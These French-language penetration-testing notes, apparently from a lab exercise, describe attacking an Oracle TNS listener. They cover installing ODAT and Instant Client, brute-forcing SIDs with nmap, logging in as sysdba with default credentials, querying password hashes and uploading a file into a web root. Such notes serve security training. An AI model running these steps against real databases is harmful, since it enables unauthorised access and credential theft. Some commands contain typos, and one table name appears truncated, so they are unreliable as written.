Le serveur Oracle Transparent Network SubstrateTNS) est un protocole de communication qui facilite la communication entre les bases de données et les applications Oracle sur les réseaux.

Avant de pouvoir énumérer l’écouteur TNS et interagir avec lui, nous devons télécharger quelques paquets et outils

wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip

wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip

sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip install python-libnmap
git submodule init
git submodule update
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome
./odat.py -h # si l'instalation a reuissi 

Oracle Database Attacking Tool ( ODAT) est un outil de test d’intrusion open source écrit en Python et conçu pour recenser et exploiter les vulnérabilités des bases de données Oracle. Il permet d’identifier et d’exploiter diverses failles de sécurité dans les bases de données Oracle, notamment l’injection SQL, l’exécution de code à distance et l’élévation de privilèges.

Brute force SID

sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
./odat.py all -s 10.129.204.235

SQLplus pour se connecter a la bd

sqlplus username/password@10.129.204.235/XE

Si vous rencontrez l’erreur suivante sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, veuillez exécuter ce qui suit, extrait d’ ici .

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig
sqlplus username/password@10.129.204.235/XE as sysdba

SQL> select * from user_role_privs;
SQL> select name, password from sys.user

Telechargement de fichier

./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt

https://docs.oracle.com/cd/E11882_01/server.112/e41085/sqlqraa001.htm#SQLQR985